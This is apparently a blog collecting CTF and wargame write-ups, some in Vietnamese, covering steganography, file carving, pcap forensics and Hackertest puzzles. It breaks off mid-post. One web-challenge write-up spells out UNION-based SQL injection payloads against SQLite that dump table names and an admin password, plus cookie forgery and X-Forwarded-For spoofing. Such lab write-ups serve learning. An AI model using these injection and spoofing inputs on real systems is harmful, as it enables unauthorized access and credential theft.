That sailor has a weird shoplist. I'd like to know what he's really gonna buy. A binary file <a href="http://blackbox.sibears.ru/uploads/477/lab/shoplist.bin" style="text-decoration: none;">shoplist.bin</a> is given. After some inspection of file Progressor revealed that a binary representation of this file is looks like Morse code. I've used the next script to convert binary to Morse code:<div class="highlight">
<pre>f = open('shoplist.bin', 'rb')
data = f.read()
f.close()
result = ''
for b in data:
 result += bin(ord(b))[2:].zfill(8)
print result.replace('1110','-').replace('10','.').replace('00', ' ')
</pre>
Here is converted code:</div>
-.- .--- ..- .-- --. --.. .. -.- .. .-. --.. --. ... --.. .-.. . . -... -... --. -.- -.-- .-.. --- --- -- ..-. ..-. --. ..--- -.. .--. --- .--- ..--- --. -.- ...-- - .--- -. --.. - --.- ..- - .-.. -... -- -. --.- -..- . ...-- ...-- --- -. . ..-. . --.- -.-- .-.. -. -- .--- ..--- -..- . --.. ...-- ..-. --- .. ..-. . ..--- -.-- .-.. ... -- ..... --.- -..- . ..--- .-.. --- -- ..- ..-. . -- ...-- -.. .--. --- ...- --.. .- ..- --.- - -... -- -. -..- .-- ....- .. -.-. ..-. -. --.. ... .... --. .. -... --. . -... .. --. ... --.. .-.. -.. -- ...- --.. --.- ..- --.- ...-- -... -. --.. -..- --. -.- --.. -... .- -.- -. ..--- --. -.- ..... ...-- ..-. -- --.- --.- ..-. .. ...-- ...-- -. -- ..-. ..--- --. -.... --.. .-.. - -... .--- .--- -..- -.- --.. ...-- -... --- .. ..-. . -.- --.. ...-- .... --- -- ..-. . -.... ...-- - .--- -. ..... -..- .... --. -.-. ... --.. -- ...- --.- -..- --. ..... .- -.- -.- --.. ... .-- --- --.. .-.. ..- -- ..-. .-. --. -.-- --.. .-.. - -... .--- -.. .-- -.-. ....- - -- -. ..-. .-. --.- ..- --.- - -... -. -. ..- .-- ....- --.. --.. .- -.- -... -..- -..- --- --.. -.. ..-. --- .. ..-. . --. ..--- -.. ..-. -- ...- --.. .-- -.- -.-. .. -.- -.- -... -..- -..- --- --.. -.. ..-. --- .--- ... .-- .. .. -.-. -. -. ..-. .-- --. .-- -.-. ... --.- -. ..... ..--- --. -.-. ..... -.. .--. -- ...- --.. --.- ..- .-. ...-- .--- -. --.. - .-- -.- ....- --.- -.- .. ..-. ... --. -.-. ....- -.. ..- -. ..-. ...-- --. -.- .. -.-. -.. -. ..... .-- .-- . -.-- .-.. ..- . -... .--- --. ... --.. - -- -- ..- ..-. . --.- ...-- ...-- ..- . -... .--- .-- -.-. ..... .-.. -.. -- ..- ..-. ..-. --. -.-- .-.. .... -- ..- ..-. . --. -.-- .-.. --.. -- ...- -..- --. ....- --.. .. .--- .--- ..... -..- --. ... ...-- ...-- --- . -... .. --. -.... ..... ...-- . -- ...- --.. .- ..- ...- -.. .. .--. ..-. .-- .-- -.- -.-. ... -.. --- ...- .-- .-- ... ...-- --.- -.- .. ..... --.- -..- . ...-- -.. .--- -- -- --.- ..-. .- ...-- ...-- -..- -- .-. ... -..- . -.-. ... --- --- ...- ..--- --. ..--- --.. .-.. .... -... .--- -... .-- --.- ..--- .-.. -- -. . --.- ..-. .- ...-- ...-- -..- -- .-. ... -..- . -.-. ... -.-. -. .-. --.- .-- --. ..--- --.. .- -.- -... ... -..- .- ....- -.. ..-. --- .. -...- -...- -...- -...- -...- -...- After translation of the code we obtain the next text:<div class="highlight">
<pre>KJUWGZIKIRZGSZLEEBBGKYLOOMFFG2DPOJ2GK3TJNZTQUTLBMNQXE33ONEFEQYLNMJ2XEZ3FOIFE2YLSM5QXE2LOMUFEM3DPOVZAUQTBMNXW4ICFNZSHGIBGEBIGSZLDMVZQUQ3BNZXGKZBAKN2GK53FMQQFI33NMF2G6ZLTBJJXKZ3BOIFEKZ3HOMFE63TJN5XHGCSZMVQXG5AKKZSWOZLUMFRGYZLTBJDWC4TMNFRQUQTBNNUW4ZZAKBXXOZDFOIFEG2DFMVZWKCIKKBXXOZDFOJSWIICNNFWGWCSQN52GC5DPMVZQUR3JNZTWK4QKIFSGC4DUNF3GKICDN5WWEYLUEBJGSZTMMUFEQ33UEBJWC5LDMUFFGYLHMUFEGYLZMVXG4ZIJJ5XGS33OEBIG653EMVZAUVDIPFWWKCSDOVWWS3QKI5QXE3DJMMQFA33XMRSXECSOOV2G2ZLHBJBWQ2LMNEQFA33XMRSXECSCNRQWG2ZAKBSXA4DFOI======
</pre>
</div>
This text is looks like some kind of BaseXX encoded string. I've tried to decode it with Base32 and got the text. It's strange shopping list: Rice Dried Beans Shortening Macaroni Hamburger Margarine Flour Bacon Ends & Pieces Canned Stewed Tomatoes Sugar Eggs Onions Yeast Vegetables Garlic Baking Powder Cheese  Powdered Milk Potatoes Ginger Adaptive Combat Rifle Hot Sauce Sage Cayenne Onion Powder Thyme Cumin Garlic Powder Nutmeg Chili Powder Black Pepper The item Adaptive Combat Rifle from the list was a flag.</div>

RuCTF 2013 Quals - Stegano 200

Strange shoplist That sailor has a weird shoplist. I'd like to know what he's really gonna buy. A binary file shoplist.bin is gi...

8:23 AM

ctf tutorial: file carving

<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Begin with the following image:</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<img alt="carving image" src="http://dirtbags.net/ctf/tutorial/carving-ex.jpg" title="" /></div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Since the browser is able to display this image, you know that it is a valid JPEG file. Further, there are no obvious encoding errors. There are a few immediate possibilities for analysis:</div>
<ul style="font-family: sans-serif;">
<li>Steganography, such as steghide</li>
<li>Information in the headers</li>
<li>Information after the JPEG end-of-file marker</li>
</ul>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Since the last two can be detected with a simple hex dump, we will start with this. In Windows, open the file in a binary editor. Under Unix or MacOS, run (at a terminal prompt, represented by <code>$</code> in our examples):</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ xxd carving-ex.jpg | less
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Look at the beginning and end of the file, initially for English text. After the <code>JFIF</code> tag, there is some comment information about software used to create the file, and some initialization strings which show up as the alphabet. There is no obvious hidden information at the beginning of the file. At the end, however, are some strings which look like file names.</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">00008e20: 3fff d950 4b03 0414 0000 0008 0088 6c0c ?..PK.........l.
00008e30: 3f18 f066 802d 0000 0032 0000 000a 001c ?..f.-...2......
00008e40: 0061 6e73 7765 722e 7478 7455 5409 0003 .answer.txtUT...
00008e50: 9f72 454e 126d 454e 7578 0b00 0104 8813 .rEN.mENux......
00008e60: 0000 0488 1300 000b c9c8 2c56 00a2 acd2 ..........,V....
00008e70: e212 85c4 3c85 d48a c4dc 829c 546b 8592 ....<.......Tk..
00008e80: 8cd4 a254 904c 5e3e 50bc b83c b548 0124 ...T.L^>P..<.H.$
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Also notice the string <code>PK</code>. This is the initials of <a href="http://en.wikipedia.org/wiki/Phil_Katz" style="font-weight: bold; text-decoration: none;">Phil Katz</a>, creator of the zip file format. Immediately preceding <code>PK</code> is the hex value <code>ffd9</code>, the end-of-file marker for JPEG files.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
At this point, we have determined that the JPEG file has a zip file appended to it. Our task is now to strip the JPEG file off of the beginning and uncompress the zip file. There are many ways to accomplish this task: this tutorial will focus on using the <code>dd</code> program available in Unix or MacOS.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<code>dd</code> supports a <code>skip=</code> option, which will discard a number of characters from the beginning of a file, but it only takes values in decimal. We want to skip everything up to the <code>PK</code>, which, according to the hex dump output, is at offset 00008e23. I like to use the <code>printf</code> command in Unix to do quick base conversions:</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ printf '%d\n' 0x00008e23
36387
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Now we know what offset to use. We tell <code>dd</code> to use a block size of 1, and skip 36387 blocks.</div>
<pre style="border: 2px solid rgb(136, 136, 136); padding: 0.25em;"><code style="background-color: white;">$ dd if=carving-ex.jpg bs=1 skip=36387 of=foo.zip
</code></pre>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
We can now unzip <code>foo.zip</code>, and read the resulting <code>answer.txt</code>.</div>
<h1 style="font-family: sans-serif; letter-spacing: -0.05em;">
Question</h1>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
Use the same technique on this image to obtain the answer for this page.</div>
<div style="font-family: sans-serif; line-height: 1.4em; margin-bottom: 20px;">
<img alt="carving image" src="http://dirtbags.net/ctf/tutorial/carving.jpg" title="" /></div>

ctf tutorial: file carving

Begin with the following image: Since the browser is able to display this image, you know that it is a valid JPEG file. Further, there ...

8:10 AM

http://ctf.wargame.vn:1337/teaser_backup/web100_d6da263d82cd07bd02cecf82f2b666b7/

<div class="post-body entry-content" id="post-body-5704550593832133006" itemprop="description articleBody" style="font-family: Verdana, sans-serif; font-size: 13px; line-height: 19.5px;">
This challenge is also quite simple which need you to pay more attention to what server send to and get from your browser. What a host give us a hint is: có 7 levels :) + Level 6-7 dùng SQLite Level 7: Bạn phải đoán đc câu query là gì :).Hãy thử %29 %22  Các level khác: tìm hiểu PHP và Apache :). In this challenge, i use only web browser (firefox or iceweasel) with some addons and burpsuite to modify packets before they are sent. Let's start with the link http://challenges.wargame.vn:1337/web100_d6da263d82cd07bd02cecf82f2b666b7/ It works!.. Basically, it seems that website is not complete. Try to open page source. Nothing special in source except there is a vertical scroll bar. Let's try to scroll down to a bottom. Here, a level 2 link is hidden here. This one is always a trick to some players. Let's keep to level2 with the link we have in the previous level. You're not logged in! wtf, why aren't not logged in?There is no form for us to authenticate. There must be another way to make server believe that we are logged. One way to do this is by using cookie. We need to send cookie to server to let it know we are already logged in. Using cookie manager, a firefox addon, gives us nothing, there is no cookie store already. Next, let's check what server send to us by using live http header, another firefox's addon. (thanks ML for this hint, I dont even think that i need to examine what server send becase of my little ctf experience) Set-Cookie: login=0; expires=Thu, 01-Jan-1970 00:00:01 GMT That's explain why there is no cookie stored in our browser. The job is easy now by set cookie login to 1 and set our request to server to get next level link in level3, we do the same way as level2 instead of set login cookie to ip address which is hidden in page source of this level. Level 4 requires more challenge than the first 3 levels. Open source page and we get an array of server variables and a hidden variable I have to guess that to pass this level, we need to set server variable HTTP_1337 to 1337. What you need to do this level, you need to understand what server variable is and how it gets from request. (http://www.php.net/manual/en/reserved.variables.server.php) insert the folowing line in to request's HTTP header before it is sent to server 1337:1337 Level5 is also the same as level4. We need to change our IP address ($_SERVER['REMOTE_ADDR']) to 127.0.0.1 which seems impossible.  Just using google and found interesting http://en.wikipedia.org/wiki/X-Forwarded-For Move to the next level. This level is no more php exploit. It requires sql injection skill. ?id=1 Hello manhluat! Try to change value to see whether there is exploitable. ?id=1' Nothing ... so, there may be injectable. Do some more SQLis id=-1 union select 1,1,1;-- Hello 1! It works! Now, it is time to exploit this level. We know this level uses SQLlite; therefore using following query to get table name ?id=-1 union select 1,name,1 from sqlite_master WHERE type='table' ;-- Hello users! We get the table users. ?id=-1 union select 1,username,1 from users ;-- Hello admin! ?id=-1 union select 1,password,1 from users where username='admin';-- Hello ....(level7 link)! Following the link, we reach level 7.In this level 7, the host give us some hints by using %27 and % 29 which stand for " and ) character. ?id=-1 Hello! ?id=-1" Nothing... ->There must be error with sql query ?id=-1") Nothing... ?id=-1");-- Hello! Ok, now we guest the query should be: select ... from ... where (id="xxx") let's do some more ?id=-1") union select 1,1,1 where ("1"="1 Hello 1! ok. Now we know how to pass this level. Do as what we do in the previous level. ?id=-1") union select 1,name,1 from sqlite_master where ("1"="1 Hello flag! ?id=-1") union select 1,flag,1 from flag where ("1"="1 </div>
<div class="post-footer" style="background-color: #e0e0e0; background-image: url(http://www.blogblog.com/tictac/tictac_grey.gif); background-position: 0% 8px; background-repeat: no-repeat no-repeat; color: #999999; font-family: Verdana, sans-serif; font-size: 11px; line-height: 19.5px; margin: 0px; padding: 0px 0px 0px 14px;">
</div>

http://ctf.wargame.vn:1337/teaser_backup/web100_d6da263d82cd07bd02cecf82f2b666b7/

This challenge is also quite simple which need you to pay more attention to what server send to and get from your browser. What a host give...

6:28 PM

Securityoverride - Forensic 2

<div class="separator" style="clear: both; text-align: left;">
Level 2: <a href="http://securityoverride.org/challenges/forensics/2/">http://securityoverride.org/challenges/forensics/2/</a></div>
Level này lại là về các gói tin SMTP, điều các bạn phải làm ở đây là tìm ra người gửi và người nhận. 
 
           <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS1gxvCxZz-Q9qJTrRjTz4W-_Bijx1hQcJdimGGOE7YmlrF-ZYx6WYelDB3aEUoHZ6rJLNFEikSViXeWDc_8WUUJYz-H2lnGvZ0NhHCmlWiE6ycRxN_c8Wu7GnldLayTgF43619-W_FQth/s1600/Screenshot+from+2013-11-06+11:07:50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS1gxvCxZz-Q9qJTrRjTz4W-_Bijx1hQcJdimGGOE7YmlrF-ZYx6WYelDB3aEUoHZ6rJLNFEikSViXeWDc_8WUUJYz-H2lnGvZ0NhHCmlWiE6ycRxN_c8Wu7GnldLayTgF43619-W_FQth/s400/Screenshot+from+2013-11-06+11:07:50.png" width="400" /></a> 
Các bạn down gói tin về nhé: http://securityoverride.org/challenges/forensics/2/forensics2.rar 
Đây là gile .pcap nên các bạn dùng wireshark để mở nhé. 
Chỉ cần tìm người gửi thư và người nhận, cũng ko quá khó đúng ko nào, 
 
<div style="text-align: start;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht83XTpZBYfeUAKDKdZ0n7MLTWAF0X6Zu91_bTPlS1L1HzQ__joIOmw2X26OYJyJLxG3OdgSXJ_4LPKviop-3kQg7FcccAKvglTzQkrf6MZzLGMVkUk5PqcO1jeV5v7b4DMfwB_SH9eLcF/s1600/Screenshot+from+2013-11-06+11:12:30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="41" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht83XTpZBYfeUAKDKdZ0n7MLTWAF0X6Zu91_bTPlS1L1HzQ__joIOmw2X26OYJyJLxG3OdgSXJ_4LPKviop-3kQg7FcccAKvglTzQkrf6MZzLGMVkUk5PqcO1jeV5v7b4DMfwB_SH9eLcF/s400/Screenshot+from+2013-11-06+11:12:30.png" width="400" /></a></div>
<div style="text-align: start;">
Quá dễ dàng đúng ko ạ.</div>

Securityoverride - Forensic 2

Level 2: http://securityoverride.org/challenges/forensics/2/ Level này lại là về các gói tin SMTP, điều các bạn phải làm ở đây là tìm ra ...

8:13 PM

Securityoverride - Forensic 1

<div class="separator" style="clear: both; text-align: left;">
<a href="http://securityoverride.org/challenges/forensics/1/">http://securityoverride.org/challenges/forensics/1/</a></div>
Level 1 này cũng khá là đơn giản, 1 gói tin FTP mình chỉ cần tìm ra username và password thôi. 
 
                   <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTYYaD1w1FaLDbrYbNzquzEYebDEsJBZG-1fIZwyWp3TGos_gyce3u5qcZTUHlh2K1UwF5Oxz1RNIaqqs3oiyCYr1MrgVLLn4ptgl_A2wN7IAq8GJIwUoi-c18-KDmuL__KoLpnBMRE8x/s1600/Screenshot+from+2013-11-06+10:57:59.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyTYYaD1w1FaLDbrYbNzquzEYebDEsJBZG-1fIZwyWp3TGos_gyce3u5qcZTUHlh2K1UwF5Oxz1RNIaqqs3oiyCYr1MrgVLLn4ptgl_A2wN7IAq8GJIwUoi-c18-KDmuL__KoLpnBMRE8x/s400/Screenshot+from+2013-11-06+10:57:59.png" width="400" /></a> 
Mình down gói tin về nhé http://securityoverride.org/challenges/forensics/1/forensics1.rar 
Và dùng wireshark để mở nó lên. Các bạn nhớ để ý kĩ nhé, đây là 1 file login ftp những lần đầu là login thất bại, nhưng có 1 lần thành công. 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje6p4zu4C1dlysRd2pwt12gfWwSMqkJ-U-nS0h41JiGXDchcFfJdNnOiYsh5bh3sdu8TUIsdpEDkLaVoHLEmc7SrI-GFkq1CtBC2CMdxaSLG_D4ZobSeHz2I7-NDF0kBQwVd-3FSrd22Mj/s1600/Screenshot+from+2013-11-06+11:03:37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="65" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEje6p4zu4C1dlysRd2pwt12gfWwSMqkJ-U-nS0h41JiGXDchcFfJdNnOiYsh5bh3sdu8TUIsdpEDkLaVoHLEmc7SrI-GFkq1CtBC2CMdxaSLG_D4ZobSeHz2I7-NDF0kBQwVd-3FSrd22Mj/s400/Screenshot+from+2013-11-06+11:03:37.png" width="400" /></a> 
Các bạn tìm đến gói tin đấy và follow tcp là sẽ thấy ngay.

Securityoverride - Forensic 1

http://securityoverride.org/challenges/forensics/1/ Level 1 này cũng khá là đơn giản, 1 gói tin FTP mình chỉ cần tìm ra username và passwo...

8:06 PM

Hackertest - level 19

Level 19: <a href="http://www.hackertest.net/level18.shtml">http://www.hackertest.net/level19.shtml</a> 
<blockquote class="tr_bq">
A little different, but still the same :)</blockquote>
Không hiểu câu này lắm nhưng vẫn chứ view scource đã :P Mình đã thấy: 
<blockquote class="tr_bq">
 background="images/level20_pass.gif"></blockquote>
Down về thử xem nhé, mở lên ko thấy gì nhưng cái hình nó như mấy cái nền trong photoshop và gimp ấy. Mình mở lên bằng photoshop hoặc gimp xem      <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj36b71dIaiLpjbfv7Qm8Y5YvEDPIGOzW5YLuhP2wJbddB_UT-GY4eTSyZXaWLZ0K8chfslN3THfIPLRxgnBmGa102Hfcm2R6jF6v91vUg5049nuNWrZI1v7zic8-cjigSihBTLvUZKKdLL/s1600/level20_pass.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj36b71dIaiLpjbfv7Qm8Y5YvEDPIGOzW5YLuhP2wJbddB_UT-GY4eTSyZXaWLZ0K8chfslN3THfIPLRxgnBmGa102Hfcm2R6jF6v91vUg5049nuNWrZI1v7zic8-cjigSihBTLvUZKKdLL/s400/level20_pass.gif" width="400" /></a>

Hackertest - level 19

Level 19: http://www.hackertest.net/level19.shtml A little different, but still the same :) Không hiểu câu này lắm nhưng vẫn chứ view sc...

8:48 AM

Hackertest - level 18

Hackertest - level 18

Level 18: http://www.hackertest.net/level18.shtml Think like a n00b. Hãy suy nghĩ, nhưng mình vẫn ko hiểu từ n00b này là gì? nhưng mình ...

8:43 AM

Hackertest - level 17

Hackertest - level 17

Level 17: http://www.hackertest.net/unavailable/Ducky.php Không có gì đặc biệt , mình view scource đã tìm được 1 hint: <font color =...

8:39 AM

Hackertest - level 15,16

Level 15: <a href="http://www.hackertest.net/totally.php">http://www.hackertest.net/totally.php</a> 
<blockquote class="tr_bq">
Since you still have your photoshop open, check this out: <a href="http://www.hackertest.net/images/pass2level16.jpg" style="text-align: -webkit-center;">images/pass2level16.jpg</a> << good luck with it!</blockquote>
Mình vào thử hình đó nhưng ko xem được, cả khi down về rùi cũng thế. Mình đã tìm cả ở view scource cũng ko có gì đặc biệt. Nhưng mình nghĩ lại về cái hình pass2level16.jpg, mình thử bằng unavailable. 
<blockquote class="tr_bq">
<a href="http://www.hackertest.net/unavailable/">http://www.hackertest.net/unavailable/</a></blockquote>
Và mình đã đi đúng hướng, vẫn là view scource mình được: 
<blockquote class="tr_bq">
</blockquote>
Tiến lên với <a href="http://www.hackertest.net/unavailable/images/">http://www.hackertest.net/unavailable/images/</a> nào. Không có gi cả chữ hay hình cũng ko có, mình thử view scource mình đã thấy: 
<blockquote class="tr_bq">
<body background="bg.jpg"></blockquote>
Mình đã dow file bg.jpg về nhưng ko thể mở được, mình đã mở text file ảnh lên và đã được 
<blockquote class="tr_bq">
 Ducky.php</blockquote>
OK, next level 17 thôi. 
<blockquote class="tr_bq">
</blockquote>
 
<blockquote class="tr_bq">
</blockquote>
 
<blockquote class="tr_bq">
</blockquote>

Hackertest - level 15,16

Level 15: http://www.hackertest.net/totally.php Since you still have your photoshop open, check this out: images/pass2level16.jpg <...

8:37 AM

Hackertest - level 14

Level 14: <a href="http://www.hackertest.net/4xml.php">http://www.hackertest.net/4xml.php</a> 
<blockquote class="tr_bq">
Once again, same thing! Pay attention to the changes! A stupid person will wait 20 minutes to get an answer, a smart person will animate.</blockquote>
Vẫn cái suy nghĩ như thế của mình, mình đã tìm được 1 bức ảnh 
<blockquote class="tr_bq">
src="<a class="webkit-html-attribute-value webkit-html-resource-link" href="http://www.hackertest.net/images/logo.gif" style="font-family: monospace; white-space: pre-wrap;" target="_blank">images/logo.gif</a>"</blockquote>
Down về xem thế nào nhé bạn 
 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5oQOZRvDiSZRROWpqxwoe2Ex_czXeZt4XvrGp9V-GsC6jl5qX-KU7rKeUWEob1EyflEKHmqgquQgR5pC7syjeJAnb-X0ALMHSnE_Tt3LkTTaN9_DXQtZJcoLx03sT6yQIJdOxIW-J3o8X/s1600/bidvertiser.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="45" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5oQOZRvDiSZRROWpqxwoe2Ex_czXeZt4XvrGp9V-GsC6jl5qX-KU7rKeUWEob1EyflEKHmqgquQgR5pC7syjeJAnb-X0ALMHSnE_Tt3LkTTaN9_DXQtZJcoLx03sT6yQIJdOxIW-J3o8X/s400/bidvertiser.gif" width="400" /></a> 
<blockquote class="tr_bq">
 </blockquote>
MÌnh mở bình thường thi không có gì, nhưng bạn hãy thử dùng gimp hay photoshop xem sao 
 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJYyCORWCpBYS-iMF_XzD03M7wzeYk3oeiZBlfBXSAD-04VISab5uYCtxga2uuwMeJmFLukQcKKTvUQFfDNbNSJui92eLGMA3whQGMiR0jA2TY43l-3QXaflupI4aoEL7qH58F4WixCGXF/s1600/bidvertiser.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="45" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJYyCORWCpBYS-iMF_XzD03M7wzeYk3oeiZBlfBXSAD-04VISab5uYCtxga2uuwMeJmFLukQcKKTvUQFfDNbNSJui92eLGMA3whQGMiR0jA2TY43l-3QXaflupI4aoEL7qH58F4WixCGXF/s400/bidvertiser.gif" width="400" /></a> 
Tiếp lê level 15 nào.

Hackertest - level 14

Level 14: http://www.hackertest.net/4xml.php Once again, same thing! Pay attention to the changes! A stupid person will wait 20 minutes t...

8:26 AM

Hackertest - level 13

Level 13: <a href="http://www.hackertest.net/puta.php">http://www.hackertest.net/puta.php</a> 
<blockquote class="tr_bq">
Same thing, only different. Pay attention to the changes!</blockquote>
Đọc xong mình lại liên tưởng đến level 12, mình có suy nghĩ chắc chắn sẽ có 1 hình ảnh và khi mình view scource thì đúng là có 1 cái ảnh. 
<blockquote class="tr_bq">
<img src="<a class="webkit-html-attribute-value webkit-html-resource-link" href="http://www.hackertest.net/images/lvl13.gif" style="font-family: monospace; white-space: pre-wrap;" target="_blank">images/lvl13.gif</a>"></blockquote>
Các bạn mở ra và down về thôi 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQZED66qXZVH2Fkm1spAEjmL_QyKfT0iRZrMUk_xwNEmcFOq_zwRbsTgTRP0IhvTXXZVcRdA0m8gVaTdT5i65RKLCQQp2mpeIoZdSbRN5u13g5iz7pNRafLULAbuw93FFEMqWB5MUhFrMK/s1600/lvl13.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQZED66qXZVH2Fkm1spAEjmL_QyKfT0iRZrMUk_xwNEmcFOq_zwRbsTgTRP0IhvTXXZVcRdA0m8gVaTdT5i65RKLCQQp2mpeIoZdSbRN5u13g5iz7pNRafLULAbuw93FFEMqWB5MUhFrMK/s400/lvl13.gif" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: left;">
Nhìn thoáng qua đã thấy rùi 4.xml :) tiếp tục với <a href="http://www.hackertest.net/4.xml">http://www.hackertest.net/4.xml</a> Các bạn đọc kĩ code sẽ thấy dòng này</div>
<blockquote class="tr_bq">
<Data ss:Type="String">4xml.php</Data></blockquote>
Tiếp lên level 14 thôi. 
 
 
<blockquote class="tr_bq">
 </blockquote>

Hackertest - level 13

Level 13: http://www.hackertest.net/puta.php Same thing, only different. Pay attention to the changes! Đọc xong mình lại liên tưởng đến ...

8:19 AM

Hackertest - level 12

Level 12: <a href="http://www.hackertest.net/clipart.php">http://www.hackertest.net/clipart.php</a> 
<blockquote class="tr_bq">
3 letters change everything. Look carefully!</blockquote>
Bây giờ mình phai tìm ra 3 cái chữ cái đó, mình view scource xem sao. Bạn để ý ở trong thẻ head có dòng này 
<blockquote class="tr_bq">
<blockquote class="tr_bq">
<meta name="robots" content="noindex,nofollow"></blockquote>
<blockquote class="tr_bq">
<meta name="clue" content="use graphic software"></blockquote>
</blockquote>
"use graphic software"  sử dụng phần mềm đồ họa, cái này chắc chắn sẽ có hình ảnh. Nhưng nhìn lại cả trang chỉ có 1 cái ảnh thôi. 
<blockquote class="tr_bq">
src="<a class="webkit-html-attribute-value webkit-html-resource-link" href="http://www.hackertest.net/images/logo.jpg" style="font-family: monospace; white-space: pre-wrap;" target="_blank">images/logo.jpg</a>"</blockquote>
MÌnh down về xem sao                 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCU9xOmb7TvDyCVIzoYK54sgXIq5iV7CvlLnX1xODUFURBhVUMpoOSw-GkMVpox4TOoNIaMtuXqIzFC2eHuq2sO07bmdd1AUP4ey4HTFXvnGJ64hu-ngkAU5bKCh2oPQNC55nGh_7cub-F/s1600/logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCU9xOmb7TvDyCVIzoYK54sgXIq5iV7CvlLnX1xODUFURBhVUMpoOSw-GkMVpox4TOoNIaMtuXqIzFC2eHuq2sO07bmdd1AUP4ey4HTFXvnGJ64hu-ngkAU5bKCh2oPQNC55nGh_7cub-F/s400/logo.jpg" width="400" /></a> 
 
Mở hình lên đã nhìn thấy 1 chữ mờ mờ rùi, zoom lên mình thấy chữ puta.php Tiếp lên level 13 thôi!

Hackertest - level 12

Level 12: http://www.hackertest.net/clipart.php 3 letters change everything. Look carefully! Bây giờ mình phai tìm ra 3 cái chữ cái đó, ...

8:15 AM

Hackertest - level 11

Level 11: www.hackertest.net/rofl.php 
<blockquote class="tr_bq">
What are you looking at?</blockquote>
Nhưng gì bạn nhìn thấy? Không hiểu nó có nghĩa gì nhỉ? Mình thử view scource xem thế nào nhé. Mình nhìn mãi mà không có 1 hint nào. Nhưng tự nhiên nhận ra dòng này: 
<blockquote class="tr_bq">
<meta name="robots" content="goto: clipart.php"></blockquote>
Lừa tình quá, thôi tiếp với level 12 thôi! 
<blockquote class="tr_bq">
 </blockquote>

Hackertest - level 11

Level 11: www.hackertest.net/rofl.php What are you looking at? Nhưng gì bạn nhìn thấy? Không hiểu nó có nghĩa gì nhỉ? Mình thử view scour...

8:08 AM

Hackertest - level 10

<div class="separator" style="clear: both; text-align: left;">
Level 10: <a href="http://www.hackertest.net/gazebruh.php">http://www.hackertest.net/gazebruh.php</a></div>
<div class="separator" style="clear: both; text-align: left;">
           <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPm9H_H6uPaNEfkBbex6nMxj3ISOlnc2o057OXJsWxCWJZb301kBSM5yZnm7ClJ-fW6xD3lcJXNtscTNoZG2GuBKrGSmRVQnt8jdfGlf8-YGIQ2Plk-yhCqf6b-u0xY5bIxKZrNsrge2ti/s1600/Screenshot+from+2013-11-05+22:51:02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPm9H_H6uPaNEfkBbex6nMxj3ISOlnc2o057OXJsWxCWJZb301kBSM5yZnm7ClJ-fW6xD3lcJXNtscTNoZG2GuBKrGSmRVQnt8jdfGlf8-YGIQ2Plk-yhCqf6b-u0xY5bIxKZrNsrge2ti/s400/Screenshot+from+2013-11-05+22:51:02.png" width="400" /></a></div>
 
Tìm kiếm pasword để tiếp đến level11, mình thử view scource nhé. Không có gì đặc biệt nhưng các bạn để ý đoạn này nhe 
<blockquote class="tr_bq">
